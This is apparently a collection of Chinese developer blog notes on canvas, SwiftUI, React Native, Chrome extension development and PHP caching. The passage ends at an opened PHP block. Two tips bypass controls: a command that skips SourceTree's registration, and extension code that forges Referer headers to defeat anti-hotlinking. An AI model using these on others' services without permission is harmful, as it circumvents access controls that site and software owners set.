ctx.fillStyle = color 设置图形的填充颜色(支持RGBA) #000
ctx.strokeStyle = color 设置图形轮廓的颜色(支持RGBA) #000
ctx.globalAlpha 透明度(0.0 ~ 1.0) 1.0
ctx.lineWidth 设置线条宽度 1
ctx.lineCap 设置线条末端样式(butt, round, square butt
ctx.lineJoin 设定线条与线条间接合处的样式(round: ), bevel: ], miter: > miter
ctx.miterLimit 限制当两条线相交时交接处最大长度;所谓交接处长度(斜接长度)是指线条交接处内角顶点到外角顶点的长度)

参考

image大图缩小转成canvas后锯齿的问题

CSDN地址(2016-05-18): http://blog.csdn.net/diamont1001/article/details/51444279

最近在项目中做到头像本地处理的时候发现一个问题,就是上传的头像源图如果比较大,会导致生成后的头像锯齿比较明显。

为了解决这个问题,网上搜了好多资料,很多都是说不断的缩小图片然后再放大图片,再渲染到canvas,这个方案试过了,但是无论从效率还是效果上都不太尽人意。

后来不小心在github上发现了一个小插件,还真好用,完美的把问题解决了。

这里要感谢一下插件作者,再帮他宣传一下。

插件地址:https://github.com/sapics/scale.js

头像上传处理思路是这样的:

  1. <input type'File">接收图片上传
  2. 把源图片裁剪成目标宽高比例(这里不缩放,一缩放就会有锯齿了)
  3. 用scale.js插件把裁剪后的图像缩小到目标头像大小
  4. canvas.toDataURL()获取目标图像urlBase64,完成

附上代码片断

var imgLogo = new Image();  
imgLogo.src = _this._config.logo;  
imgLogo.onload = function() {  
    _this._ctx.drawImage(imgLogo, 0, 0, _this._config.logoWidth, _this._config.signHeight);  

    var imgAvatar = new Image();  
    imgAvatar.src = _this._config.avatar;  
    imgAvatar.onload = function() {  
        var sx = 0, sy = 0,  
            sw = this.width, sh = this.height,  
            dx = _this._config.logoWidth, dy = 0,  
            dw = _this._config.avatarWidth, dh = _this._config.signHeight;  

        var deltaD = dw / dh,  
            deltaS = sw / sh;  

        if(deltaD > deltaS) { // 高图  
            var oldSh = sh;  
            sh = (dh / dw) * sw;  

            // 取中间  
            if(oldSh > sh) {  
                sy = (oldSh - sh) / 2;  
            }  
        } else if(deltaD < deltaS) { // 横图  
            var oldSw = sw;  
            sw = (dw / dh) * sh;  

            // 取中间  
            if(oldSw > sw) {  
                sx = (oldSw - sw) / 2;  
            }  
        }  

        // _this._ctx.globalCompositeOperation = 'source-atop';  

        // 先裁剪  
        var tCanvas = document.createElement('canvas'),  
            tContext = tCanvas.getContext('2d');  
        tCanvas.width = Math.floor(sw);  
        tCanvas.height = Math.floor(sh);  
        tContext.drawImage(imgAvatar, Math.floor(sx), Math.floor(sy), Math.floor(sw), Math.floor(sh), 0, 0, Math.floor(sw), Math.floor(sh));  

        // 再缩小  
        // 对要计算的值,先取整后再绘图,可以提高效率  
        var scaleImage  = scale({width: Math.floor(dw), height: Math.floor(dh)}, tCanvas, 'jpeg');  

        _this._ctx.drawImage(scaleImage, Math.floor(dx), Math.floor(dy), Math.floor(dw), Math.floor(dh));  

        if(typeof callback === 'function') {  
            callback(_this._canvas.toDataURL());  
        }  
    };  
}; 

mac版sourcetree安装时跳过注册

网上查了好多,都是 windows 版的,mac 版的其实也很简单,退出软件之后,运行以下命令即可:

defaults write com.torusknot.SourceTreeNotMAS completedWelcomeWizardVersion 3

React Native 实用资源整理

官方资源

1. 官方文档

react-native 官方文档 其实写的挺好挺全的,在你需要使用一个新东西新组件的时候,不妨先到官方网站搜索一下看看。

2. 官方社区 react-native-community

react-native-community 是 react-native 的官方社区,现在作者也有意的把一些核心支撑能力从 react-native 核心库中慢慢剥离出来放到官方社区里去了。

所以,在你需要寻找一个组件库的时候,最好先到 react-native-community 搜一下看有没有。

3. 版本相关

实用DEMO

实用第三方组件

功能 框架/组件 备注
聊天界面 react-native-gifted-chat
aurora-imui
如何构建聊天界面
导航组件 react-navigation
UI 框架 react-native-elements
NativeBase
2018,React Native第三方组件库汇总
Icon react-native-vector-icons
页内Tab react-native-tab-view
iPhone X 适配 react-native-iphone-x-helper
设备信息 react-native-device-info
分享组件 react-native-share
图片轮播 react-native-swiper
图片全屏展示 react-native-image-viewer
图片选择器(单图) react-native-image-picker
图片选择器(多图) react-native-image-crop-picker
全局loading react-native-loading-spinner-overlay
Toast react-native-root-toast 支持API方式
输入框获得焦点时自动滑动到输入框 react-native-keyboard-aware-scroll-view
查询 status bar 高度 react-native-status-bar-height
端内截图 react-native-view-shot 可以把端内的 View 标签截图
富文本展示 react-native-htmlview
特效动画 lottie-react-native
占位符 react-content-loader

其他

附录

苹果应用开发:SwiftUI 组件化开发

SwiftUI 作为苹果新一代的开发框架,虽然还不很成熟,但是用起来是真的爽,下面记录一下关于 SwiftUI 的组件化开发相关事宜。

新增组件文件

XCode 在这方面做的很好,要引入新文件的话,不用像其他开发语言一样,需要 import 文件进来,直接右击文件夹点击添加文件即可,它的包含关系会自动写到 info 文件里去的,非常方便。

组件参数传递,支持某些参数可传可不传

组件的定义在官方文档很容易找的到,但是参数的传递,以及怎么样定义才能让某些参数可传可不传,这个问题之前困扰了我很长时间,下面例子可以实现这个逻辑:

MyIcon.swift

import SwiftUI

struct MyIcon: View {
    // 支持传递的参数
    var icon: String = "questionmark"
    var color: Color = Color.primary

    // 实现多个构造函数,支持多种参数传递方式
    init() {}
    init(_ icon: String) { // _ 表示该参数传递时不用写参数名
        self.icon = icon
    }
    init(_ icon: String, color: Color) {
        self.icon = icon
        self.color = color
    }
    
    var body: some View {
        Image(systemName: icon)
            .font(.title)
            .foregroundColor(color)
            .frame(width: 40, height: 40)
    }
}

struct MyIcon_Previews: PreviewProvider {
    static var previews: some View {
        MyIcon()
    }
}

以上组件,支持的调用方式如下:

// 默认方式
MyIcon()

// 只传递 icon
MyIcon("questionmark")

// 传递 icon 和 color 两个参数
MyIcon("questionmark", color: .orange)

构建可包含子视图的组件

MyCard.swift

import SwiftUI

struct MyCard<Content: View>: View {
    let content: () -> Content
    init(@ViewBuilder content: @escaping () -> Content) {
        self.content = content
    }
    
    var body: some View {
        VStack {
            content()
        }
        .padding()
        .background(Color.orange.opacity(0.1))
        .cornerRadius(8)
    }
}

组件调用:

...
MyCard {
    Text("Hello MyCard")
}
...

扩展一下组件,添加一些可配置参数,一个完整的卡片组件就出来了

import SwiftUI

struct MyCard<Content: View>: View {
    private var bgColor: Color = Color.orange.opacity(0.1)
    private var borderColor: Color = Color.orange.opacity(0.1)
    private var borderWidth: CGFloat = 1
    private var radius: CGFloat = 8.0
    private var fill: Bool = false // 是否填充
    
    let content: () -> Content
    init(@ViewBuilder content: @escaping () -> Content) {
        self.content = content
    }
    init(fill: Bool, bgColor: Color = Color.orange.opacity(0.1), borderColor: Color = Color.orange.opacity(0.1), borderWidth: CGFloat = 1, radius: CGFloat = 8.0, @ViewBuilder content: @escaping () -> Content) {
        self.fill = fill
        self.bgColor = bgColor
        self.borderColor = borderColor
        self.borderWidth = borderWidth
        self.radius = radius
        self.content = content
    }
    
    var body: some View {
        if self.fill {
            VStack {
                content()
            }
            .padding()
            .background(self.bgColor)
            .cornerRadius(self.radius)
        } else {
            VStack {
                content()
            }
            .padding()
            .overlay(
                RoundedRectangle(cornerRadius: self.radius)
                    .stroke(self.borderColor, lineWidth: self.borderWidth)
            )
        }
    }
}

组件调用:

MyCard {
    Text("Hello MyCard")
}
// 填充
MyCard(fill: true) {
    Text("Hello MyCard")
}
// 填充用设置背影颜色
MyCard(fill: true, bgColor: Color.yellow.opacity(0.3)) {
    Text("Hello MyCard")
}

组件参数中,传递子组件(导航组件一般用到)

struct RowLine<TargetView: View>: View {
    var text: String
    var imageName: String
    var nextView: TargetView
    var body: some View {
        NavigationLink(destination: nextView) {
            HStack {
                Image(systemName: imageName)
                Text(text)
            }
        }
    }
}

swift 常用算法小记

计算还有多少天生日

// 计算距离生日的天数
private func daysToBirthday(birthday: Date) -> Int {
    // 今天生日的情况(不然后面的计算会误把下个生日算到明年,也就是返回365)
    if (Calendar.current.dateComponents([.year, .month, .day], from: Date()).month == Calendar.current.dateComponents([.year, .month, .day], from: birthday).month
    && Calendar.current.dateComponents([.year, .month, .day], from: Date()).day == Calendar.current.dateComponents([.year, .month, .day], from: birthday).day) {
        return 0
    }
    
    let today = Calendar.current.startOfDay(for: Date())
    let date = Calendar.current.startOfDay(for: birthday)
    let components = Calendar.current.dateComponents([.day, .month], from: date)
    let nextDate = Calendar.current.nextDate(after: today, matching: components, matchingPolicy: .nextTimePreservingSmallerComponents)
    return Calendar.current.dateComponents([.day], from: today, to: nextDate ?? today).day ?? 0
}

计算某个时间到今天的天数

// 计算某个时间到今天的天数
private func daysToNow(from: Date) -> Int {
    let date1 = Calendar.current.startOfDay(for: from)
    let date2 = Calendar.current.startOfDay(for: Date())

    // 不能直接用 date 进行 Calendar.current.dateComponents([.day], from: from, to: Date()) 计算,这样不超过24小时的都算是返回0,比如昨天会返回0而前天会返回1
    let components = Calendar.current.dateComponents([.day], from: date1, to: date2)
    
    return components.day ?? 0
}

获取时间戳

extension Date {
    /// 获取当前 秒级 时间戳 - 10位
    var timeStamp : String {
        let timeInterval: TimeInterval = self.timeIntervalSince1970
        let timestamp = Int(timeInterval)
        return "\(timestamp)"
    }
    
    /// 获取当前 毫秒级 时间戳 - 13位
    var milliStamp : String {
        let timeInterval : TimeInterval = self.timeIntervalSince1970
        let millisecond = CLongLong(round(timeInterval*1000))
        return "\(millisecond)"
    }
}

FaceID人脸识别封装

import Foundation
import LocalAuthentication // 生物特征识别

class Authentication: ObservableObject{
    @Published var hasAuthenticate: Bool = false // 是否已鉴权
    
    /*
     * 鉴权函数,调起 FACE ID 生物识别
     * 用法:
     * 1)引入鉴权环境对象 @EnvironmentObject var authenticateObj : Authentication
     * 2)需要的时候,调用函数进行鉴权 authenticateObj.authenticate()
     * 3)判断是否已鉴权 if authenticateObj.hasAuthenticate { }
     */
    func authenticate() {
        let context = LAContext()
        var error: NSError?
        
        // 如果已经鉴权,则不用再调起
        if self.hasAuthenticate {
            return
        }

        // 检查是否可以进行生物特征识别
        if context.canEvaluatePolicy(.deviceOwnerAuthenticationWithBiometrics, error: &error) {
            // 如果可以,执行识别
            let reason = "We need to unlock your data."

            context.evaluatePolicy(.deviceOwnerAuthenticationWithBiometrics, localizedReason: reason) { success, authenticationError in
                // 鉴权完成
                DispatchQueue.main.async {
                    if success {
                        // 鉴权成功
                        self.hasAuthenticate = true
                    } else {
                        // 鉴权失败
                        self.hasAuthenticate = false
                    }
                }
            }
        } else {
            // 没有生物特征识别功能
        }
    }
}

获取APP名称

extension Bundle {
    var releaseVersionNumber: String? {
        return infoDictionary?["CFBundleShortVersionString"] as? String ?? "1.0"
    }
    var buildVersionNumber: String? {
        return infoDictionary?["CFBundleVersion"] as? String ?? "1"
    }
    var displayName: String? {
        return object(forInfoDictionaryKey: "CFBundleDisplayName") as? String ??
            object(forInfoDictionaryKey: "CFBundleName") as? String ?? "Unknown"
    }
}

Double取N位小数

// double取多少位小数
extension Double {
    /// Rounds the double to decimal places value
    func rounded(toPlaces places:Int) -> Double {
        let divisor = pow(10.0, Double(places))
        return (self * divisor).rounded() / divisor
    }
}

获取屏幕宽高

注意:iPad 下屏幕宽度跟可页面可视宽度不一致,要使用 GeometryReader

// 屏幕宽度
class SGConvenience{
    #if os(watchOS)
    static var deviceWidth:CGFloat = WKInterfaceDevice.current().screenBounds.size.width
    static var deviceHeight:CGFloat = WKInterfaceDevice.current().screenBounds.size.height
    #elseif os(iOS)
    static var deviceWidth:CGFloat = UIScreen.main.bounds.size.width
    static var deviceHeight:CGFloat = UIScreen.main.bounds.size.height
    #elseif os(macOS)
    static var deviceWidth:CGFloat? = NSScreen.main?.visibleFrame.size.width // You could implement this to force a CGFloat and get the full device screen size width regardless of the window size with .frame.size.width
    static var deviceHeight:CGFloat? = NSScreen.main?.visibleFrame.size.height
    #endif
}

解决中文问题

extension String {
    // base64(可用于解决中文问题)
    func fromBase64() -> String? {
        guard let data = Data(base64Encoded: self) else {
            return nil
        }
        return String(data: data, encoding: .utf8)
    }
    func toBase64() -> String {
        return Data(self.utf8).base64EncodedString()
    }
}

打开AppStore评分

// 打开评分
if let scene = UIApplication.shared.connectedScenes
        .first(where: { $0.activationState == .foregroundActive })
        as? UIWindowScene {
    SKStoreReviewController.requestReview(in: scene)
}

移动端触摸屏幕(touchstart touchmove)时获取实时DOM

最近在实现一个移动端上的字母快速定位导航的时候,发现了一些问题,在 touchstart touchmove 的响应里,获取到的 e.target 都是第一次按下去时的 DOM。

image

那怎么样才可以获取移动过程中实际手指所在的一个 DOM 节点呢?

首先,通过以下两个获取当手指的真实位置:

e.originalEvent.changedTouches[0].clientX
e.originalEvent.changedTouches[0].clientY

然后用这个函数获取真实 DOM 节点: document.elementFromPoint(x,y)

按照上面的实现方式,可以实现所要的效果,但是有一个问题,手指在移动的过程中,离开了右边的栏则不生效,因为 X 的位置变了,这时候获取到的是数据列表的 DOM 节点。

所以,在以上函数 elementFromPoint 传参的时候,X 值只传入一个固定的值就可以了,这个固定值,可以通过屏幕大小来获取。

最后,核心代码如下:

$('.ul-fixed').on('touchstart touchmove', 'li', function(e) {
  // 屏幕大小
  var winRect = getWinRect();

  // 触摸的实时位置
  var realPosition = {
    X: e.originalEvent.changedTouches[0].clientX,
    Y: e.originalEvent.changedTouches[0].clientY
  };

  // 触摸的实时 DOM
  var x = (winRect.width - 10) > 0 ? (winRect.width - 10) : realPosition.X;
  var realDom = document.elementFromPoint(x, realPosition.Y);

  // ...

  return false;
})

function getWinRect() {
  var winHeight = 0;
  var winWidth = 0;

  if (window.innerWidth) {
    winWidth = window.innerWidth;
  } else if ((document.body) && (document.body.clientWidth)) {
    winWidth = document.body.clientWidth;
  }
  if (window.innerHeight) {
    winHeight = window.innerHeight;
  } else if ((document.body) && (document.body.clientHeight)) {
    winHeight = document.body.clientHeight;
  }
  if (document.documentElement && document.documentElement.clientHeight && document.documentElement.clientWidth) {
    winHeight = document.documentElement.clientHeight;
    winWidth = document.documentElement.clientWidth;
  }

  return {
    width: winWidth,
    height: winHeight
  }
}

国内访问github慢的问题,完美解决

GitHub在国内访问速度慢的问题原因有很多,但最直接和最主要的原因是GitHub的分发加速网络的域名遭到dns污染。

解决方法

1. 修改 hosts 文件

绕过国内dns解析,直接通过 IP 形式访问。具体如下:

# GitHub Start
192.30.253.112 github.com
192.30.253.119 gist.github.com
151.101.100.133 assets-cdn.github.com
151.101.100.133 raw.githubusercontent.com
151.101.100.133 gist.githubusercontent.com
151.101.100.133 cloud.githubusercontent.com
151.101.100.133 camo.githubusercontent.com
151.101.108.133 user-images.githubusercontent.com
151.101.100.133 avatars0.githubusercontent.com
151.101.100.133 avatars1.githubusercontent.com
151.101.100.133 avatars2.githubusercontent.com
151.101.100.133 avatars3.githubusercontent.com
151.101.100.133 avatars4.githubusercontent.com
151.101.100.133 avatars5.githubusercontent.com
151.101.100.133 avatars6.githubusercontent.com
151.101.100.133 avatars7.githubusercontent.com
151.101.100.133 avatars8.githubusercontent.com
# GitHub End

Windows 系统

路径 C:\Windows\System32\drivers\etc

在文件最后加上几个域名对应的 IP(此时可能需要管理员权限,可以将hosts复制到桌面,修改好了再复制回去覆盖原先的)。

Mac 系统

命令行输入以下命令修改 sudo vi /etc/hosts

最后如下图:

111

2. 刷新系统dns缓存

Windows 系统

如果windows Vista之前直接在cmd-终端-输入

ipconfig /flushdns

在Vista之后就需要有管理员权限

可以直接到C:\Windows\System32\cmd.exe,右键这个程序,以管理员身份运行,然后在输入

ipconfig /flushdns

Mac 系统

在命令行窗口(terminal)输入:

lookupd -flushcache

命令执行完毕,DNS缓存就得到了更新。

较新的苹果Mac OS X系统应该使用下面的命令:

type dscacheutil -flushcache

最新的 OS X Mountain Lion or Lion 上刷新DNS应该是 :

sudo killall -HUP mDNSResponder

3. 最后补充

上面的域名可能不全,后面如果还发现有某些资源加载不成功,可以通过 Chrome Dev 工具看看具体哪个资源,并找出资源域名,通过 http://tool.chinaz.com/dns?type=1 查询对应 IP 地址,并添加到 hosts 上去即可。

SQL 使用笔记

不作普及,不作教程,只记录平时使用过的刚学的而且容易忘记的用法。

查询所有的 name 和它的的重复次数,并查出重复次数大于 2 的记录

SELECT name, COUNT(*) as A FROM tb_demo WHERE status = 1 GROUP BY name HAVING A>1;

Chrome Extensions 插件扩展程序开发入门

如果英文过关,直接看 官方文档 就好了,写的还是很清晰简单的,可以直接跳到看最后的 【章节:程序分享与发布】。

What are extensions?

Extensions are small software programs that can modify and enhance the functionality of the Chrome browser. You write them using web technologies such as HTML, JavaScript, and CSS.

Chrome Extensions,中文名叫 “Chrome浏览器扩展程序”。引用官方文档的描述,翻译一下就是 “可以修改和增强浏览器功能的 H5 小程序”。

它的入口在浏览器窗口的右上角,地址栏的最右边,如下图:
image

一般来说,还可以有弹窗界面,比如下面这个:
image

Getting Started

开发环境

时间关系,我已经准备好一个 DEMO 了。

  1. 下载 DEMO 源码
  2. Chrome 打开链接 chrome://extensions/
  3. 开启 “开发模式”

image

  1. 导入 DEMO

image

打开 DMEO 源码目录(包含 manifest.json 的那层),即可完成导入。

注意:目录不能包含 中文,不然会报错。

完成以上步骤,就完成项目的导入啦,现在可以看到 DEMO 的效果了,如下。

image

同时,浏览器插件扩展程序入口(右上角地址栏右边)也会出来 DEMO 的图标了,如下。
image

试下点击图标看看,弹出来的就是 popup 了。
image

OK,后面的事情,就根据文档也实现自己需要的功能就可以了。

manifest.json

manifest.json 是整个插件扩展程序中最重要的一个描述文件,这个 json 格式的文件包含了你整个扩展程序的一些重要描述,比如 “扩展程序名称”、“扩展程序图标”、“权限申请” 等。

下面给个官方的例子,加了点注释:

manifest.json 是 json 文件,是不允许有注释的,上面的 "//" 的注释是为了更方便的解释清楚每个字段的意义,大家在实际实现的时候记得把注释都删了才可以。

{
  // Required
  "manifest_version": 2, // manifest 版本号,这里都写 2 就好了,从 Google Chrome 18 开始,就开始升级到 2 版本了
  "name": "My Extension",
  "version": "1.0.0", // 扩展程序版本,这个是自定义的,建议参考 semver 规范(http://semver.org/)

  // Recommended
  "default_locale": "zh", // 默认语言,具体可以看 i18n 文档(https://developer.chrome.com/extensions/i18n)
  "description": "A plain text description", // 项目描述
  "icons": { // icon,不同的位置支持不同大小的 icon,具体看文档(https://developer.chrome.com/extensions/manifest/icons)
    "128": "icons/icon_128.png",
    "48": "icons/icon_48.png",
    "16": "icons/icon_16.png"
  },

  // Pick one (or none)
  "browser_action": { // 多数都是使用这个,插件扩展程序针对的是浏览器行为(图标是在地址栏外面)
    "default_icon": "icons/24.png", // 最佳大小为19*19,地址栏上的插件扩展程序的 icon(一般作为主入口)
    "default_popup": "popup.html", // 点击插件扩展程序 icon 后弹出来的窗口的主页面 html
    "default_title": "extentsions demo" // 当鼠标放到扩展程序图标上时显示的文字
  },
  "page_action": { // 插件扩展程序针对的是页面行为(图标是在地址栏里面的)
    ...
  },

  // Optional
  "author": ...,
  "automation": ...,
  "background": {
    // Recommended
    "persistent": false
  },
  "background": {
    "scripts": ["eventPage.js"],
    "persistent": false
  },
  "chrome_settings_overrides": {...},
  "chrome_ui_overrides": {
    "bookmarks_ui": {
      "remove_bookmark_shortcut": true,
      "remove_button": true
    }
  },
  "chrome_url_overrides": {...},
  "commands": {...},
  "content_capabilities": ...,
  "content_scripts": [{...}],
  "content_security_policy": "policyString",
  "converted_from_user_script": ...,
  "current_locale": ...,
  "declarative_net_request": ...,
  "devtools_page": "devtools.html",
  "event_rules": [{...}],
  "externally_connectable": {
    "matches": ["*://*.example.com/*"]
  },
  "file_browser_handlers": [...],
  "file_system_provider_capabilities": {
    "configurable": true,
    "multiple_mounts": true,
    "source": "network"
  },
  "homepage_url": "http://path/to/homepage",
  "import": [{"id": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}],
  "incognito": "spanning, split, or not_allowed",
  "input_components": ...,
  "key": "publicKey",
  "minimum_chrome_version": "versionString",
  "nacl_modules": [...],
  "oauth2": ...,
  "offline_enabled": true,
  "omnibox": {
    "keyword": "aString"
  },
  "optional_permissions": ["tabs"],
  "options_page": "options.html",
  "options_ui": {
    "chrome_style": true,
    "page": "options.html"
  },
  "permissions": ["tabs"],
  "platforms": ...,
  "plugins": [...],
  "requirements": {...},
  "sandbox": [...],
  "short_name": "Short Name",
  "signature": ...,
  "spellcheck": ...,
  "storage": {
    "managed_schema": "schema.json"
  },
  "system_indicator": ...,
  "tts_engine": {...},
  "update_url": "http://path/to/updateInfo.xml",
  "version_name": "aString",
  "web_accessible_resources": [...]
}

常用 API

Chrome 给插件扩展程序提供了一系列的 API,但其实我们平时常用的也就那几个。

  • bookmarks: 书签管理接口,可以对浏览器的书签进行增删改查等管理
  • tabs: 标签管理接口,可以对浏览器的标签进行增删改查等管理
  • contextMenus: 右键菜单管理
  • cookies: 浏览器 cookie 的管理
  • notifications: 消息通知
  • desktopCapture: 可针对 “窗口” 或者 ”标签“ 的截图接口
  • i18n: 国际化(多语言支持)

程序分享与发布

当程序都开发完成了,想要发给小伙伴们体验下,可以怎么操作呢。

首先,要把程序打包

image

如图,点击 “打包扩展程序”。
image

第一个框需要定位到程序的根目录,也就是包含 manifest.json 文件的目录;
第二个框是填一个私钥文件的(同一个私钥打出来的插件扩展程序包的 ID 相同),第一次打包时因为没有所以不填。

image
如图,第一次打包完成后,会生成一个私钥文件(*.pem),可以保存好这个文件,下次升级打包的时候就可以使用了,不然打包出来的 ID 会变了,Chrome 就会把它当成一个新的程序了。

另外,*.crx 这个文件就是打包好的插件扩展程序了,这时你可以随意改名(别改后缀就行),然后发给其他人进行安装就可以试用你的这个程序了。

怎么安装?

拿到 *.crx 文件后,Chrome 打开链接 chrome://extensions/,然后把 *.crx 文件拖动到页面中间进行安装即可,如图。

image

image

安装完成后,点击右上角的�入口图标,弹出来的界面就是插件扩展程序的主页面(popup)。

”此扩展程序可能已损坏“ 问题修复

好像是 Chrome 53 版本起就会有这个问题,为了防止扩展程式被病毒木马或恶意软件修改,Chrome的扩展程序安全验证机制, 会比对本地扩展和Chrome商店中的扩展是否一致,如不匹配就会出现这个错误。

image

解决办法

我们平时在开发过程中,manifest.json 里不用写 "update_url": "https://clients2.google.com/service/update2/crx" 的,但是从商店下载下来的包会自动带上这个,所以如果我们是用商店下载下来的包去修改做开发的话,记得要把这句删掉,不然生成的 crx 文件别人是用不了的。

发布到 Chrome 商店

当一切准备就绪,就可以准备发布上线了,Chrome 有个官方的插件扩展程序市场,还自带了发布和更新等一体化管理的流程,非常方便,当然,需要先注册个 Chrome 账号。
传送门:【Chrome商店dashboard

注意,上传的是 zip 而不是上面生成的 crx 文件,具体参考:【https://developer.chrome.com/webstore/publish

实际例子(PP二维码扩展程序)

最后推广一个我很久之前刚学习前端的时候写的一个二维码扩展程序,还是挺好用的,有兴趣可以安装后直接查看代码(扩展程序都是开源的)。
image

常见问题

1. popup 页面在 Mac 上会有一个蓝框,如图:

image

这应该是一个 bug,经研究发现,它会自动给页面第一个 a 标签聚焦,从而产生蓝色的选择框,解决方法可以给页面最前面加上一个看不见的 a 标签。

<body>
<a href="#" style="width: 0; height:0;"></a>
...
</body>

2. ajax 网络请求跨域问题

这是一个很常见的问题,经常我们都会用到网络接口来请求数据,这时接口可能会有跨域同源限制,或者对 Origin 又或者对 Referer 来做防盗链。
另外,由于 CSP(contentSecurityPolicy) 问题,jsonp 也是用不了的。

解决方案:

Chrome 插件扩展程序 API 有提供了一个 webRequest 接口,可以通过它来修改发出去的网络请求的一些信息,比如 RefererOrigin 等。

首先,要在 mainfest.json 文件添加 webRequest 的权限:

"permissions": [
  "webRequest",
  "*://*.api.com/"
]

*://*.api.com/ 这里就是你请求的网络接口的域名

然后,添加代码来修改 referer 信息:

// popup.js

  chrome.webRequest.onBeforeSendHeaders.addListener(
    function(details){
        var newRef = "https://xxx.api.com/index.html";
        var gotRef = false;
        for(var n in details.requestHeaders){
          gotRef = details.requestHeaders[n].name.toLowerCase() === 'referer';

          if(gotRef){
            details.requestHeaders[n].value = newRef;
            break;
          }
        }
        if(!gotRef){
          details.requestHeaders.push({
            name: 'Referer',
            value: newRef
          });
        }

        return {requestHeaders: details.requestHeaders};
    },{
      urls:["*://xxx.api.com/*"]
    },[
      "requestHeaders",
      "blocking"
    ]
  );

最后,要说明一下的是,以上的代码只能修改使用 fetch 发起的网络请求,而对 xhr 的请求是没用的,所以,记得把请求库切换为 fetch,如:

fetch('http://xxx.api.com/getlist').then(response => {
  if (response.status === 200){
    return response.json();
  }
}).then(json => {
  console.log(json);
}).catch(err => {
  console.log(err);
});

完成以上步骤,再请求一下看看,会发现请求的 Referer 已经会被修改了,这样,就再也不怕什么跨域的问题了。

3. 引入外部 js 时报 Refused to load the script 的问题

在页面里引入一个 JS ,比如 jquery,在 Chrome 插件里会报错,比如:

<script src="https://code.jquery.com/jquery-3.2.1.min.js"></script>

会报以下错误:

image

分析原因,还是 CSP(contentSecurityPolicy) 的问题。

解决方案

修改 content_security_policy,把对应的域名加上去即可,比如以上的问题可以酱紫解决:

# manifest.json
{
    ...
    "content_security_policy": "script-src 'self' https://code.jquery.com; object-src 'self'"
    ...
}

以上表示允许 https://code.jquery.com 域名下的外部 js 的引入。

附1:扩展程序的安装目录

Chrome 插件扩展程序是开源的方式安装的,可以去安装目录通过扩展程序 ID 来找到源码。

正常情况下,Chrome 插件扩展程序的默认安装目录如下:

  • Windows XP:C:\Documents and Settings\用户名\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions
  • Windows7:C:\Users\用户名\AppData\Local\Google\Chrome\User Data\Default\Extensions
  • Mac:~/Library/Application Support/Google/Chrome/Default/Extensions
  • Ubuntu:~/.config/google-chrome/Default/Extensions

如果在这些不同操作系统中的默认安装位置没找到插件,那么还有一种方法可以查询到。

  1. 地址栏访问 chrome:version
  2. 找到 “个人资料路径”,该路径下的 extensions 文件夹就是 Chrome 插件扩展程序的安装路径了
  3. 安装路径下的插件扩展程序,是以 ID 为目录区分的
  4. 地址栏访问 chrome://extensions/,可以查看每个插件扩展程序的 ID,比如 “UC二维码插件” 的 ID 为 nhelohnehpahakjoklmodmogclacjgdj

附2:资料参考:

MEM快速缓存实现(原来,php不受这一套,只能换成文件缓存)

最近有个php项目,单机部署,在做性能优化的时候发现有些内部处理函数需要做下数据缓存。因为项目没有部署 redis 或者 memcached,所以就想偷个懒,直接把缓存放到内存来实现,反正是单机部署方便快捷,只需要控制好缓存量别被挤爆了就好。

嗯,不用想了,单例模式上……信心满满,很快就写好了!

然而……然而……童话里都是骗人的!!!

一顿操作萌如虎……上机运行之后,结果并不是想象中的那样,数据怎么也缓存不起来,调试了好久,最后才发现,原来是php运行机制的问题。

最近刚接触 php,对它的运行机制还不熟悉,惯性的就用了其他语言(JAVA/NODE/..)的实现方法,但是由于 PHP 是解释运行的,PHP 页面被解释执行后,所有相关的资源都会被回收,对象也被销毁了,所以PHP 程序无法做到常驻内存运行。

当然,目前好像也出现了一些常驻内存的解决方法,但是基于目前的项目环境(PHP 5.3.29),感觉会得不偿失,还是老老实实用 redis 或者 memcached 吧。

不过,代码不写也写了,虽然用不了但删掉也可惜,就放出来当个纪念吧!

基于RAM内存的数据缓存方案(由于机制问题,缓存效果并不生效)

<?php

/**
 * 缓存管理(内存缓存)
 * 单例模式
 *
 * 用法举例:mem_cache::ins()->get('key');
 *
 * $Author: Eric Chen 2020-11-4
 * $Email: [email protected]
 */

if (!defined('IN_ECTOUCH'))
{
    die('Hacking attempt');
}


class mem_cache
{
    private static $_instance = null;

    private $_pool; // 缓存池
    private $_maxlen; // 缓存key数量限制,防止爆内存
    private $_lucky_percent; // 缓存失效概率 0-100(读缓存的时候,设定一个概率让它清空,也就是除了时间还提供了一个随机机制让缓存更新,如果想关闭该机制,则设定为0即可


    private function __construct($maxlen = 100, $percent = 5){
        $this->_pool = array();
        $this->_maxlen = $maxlen;
        $this->_lucky_percent = $percent;
    }

    /*
     * 公有化获取实例方法
     *
     * 用法:mem_cache::ins()->xxx
     */
    public static function ins(){
        if (!(self::$_instance instanceof mem_cache)){
            self::$_instance = new mem_cache();
        }
        return self::$_instance;
    }

    // 设置缓存,默认有效时间为 600s
    public function set($key, $value, $seconds = 600, $percent = -1) {
        if (!$key) {
            return;
        }

        // 检测超池
        if (count($this->_pool, COUNT_NORMAL ) >= $this->_maxlen) {
            // 先清一次过期缓存,如果还是饱和,则直接返回
            if(!$this->gc()) {
                return;
            }
        }

        // 更新/添加缓存
        $obj_item = new mem_cache_item();
        $obj_item->value = $value;
        $obj_item->time = time();
        $obj_item->maxage = $seconds;
        $obj_item->lucky_percent = $percent < 0 ? $this->_lucky_percent : $percent;
        $this->_pool[$key] = $obj_item;
    }

    public function get($key) {
        if (!$key || !$this->_pool[$key]) {
            return false;
        }

        // 过期/缓存异常/命中清除概率,则判断为缓存不可取,清除它
        if (!$this->_pool[$key]->value ||
            (time() - $this->_pool[$key]->time) > $this->_pool[$key]->maxage ||
            mt_rand(0, 100) < $this->_pool[$key]->lucky_percent
        ) {
            $this->delete($key);
            return false;
        }

        return $this->_pool[$key]->value;
    }

    public function delete($key) {
        if (!$key) {
            return;
        }
        unset($this->_pool[$key]);
    }

    // 清除过期缓存,清完后还饱和则返回false,否则返回true
    public function gc() {
        foreach($this->_pool as $key => $item) {
            if (!$this->_pool[$key]->value ||
                (time() - $this->_pool[$key]->time) > $this->_pool[$key]->maxage
            ) {
                $this->delete($key);
            }
        }

        if (count($this->_pool, COUNT_NORMAL) >= $this->_maxlen) {
            return false;
        }
        return true;
    }

    // 清除所有缓存
    public function clear() {
        $this->_pool = array();
    }
}

// 缓存元素类
class mem_cache_item
{
    public $value;
    public $time;
    public $maxage;
    public $lucky_percent;
}

?>

基于文件系统的数据缓存方案

更新@2020-11-5 今天把它改成了基于文件系统的缓存,自测没问题,记录一下:

<?php
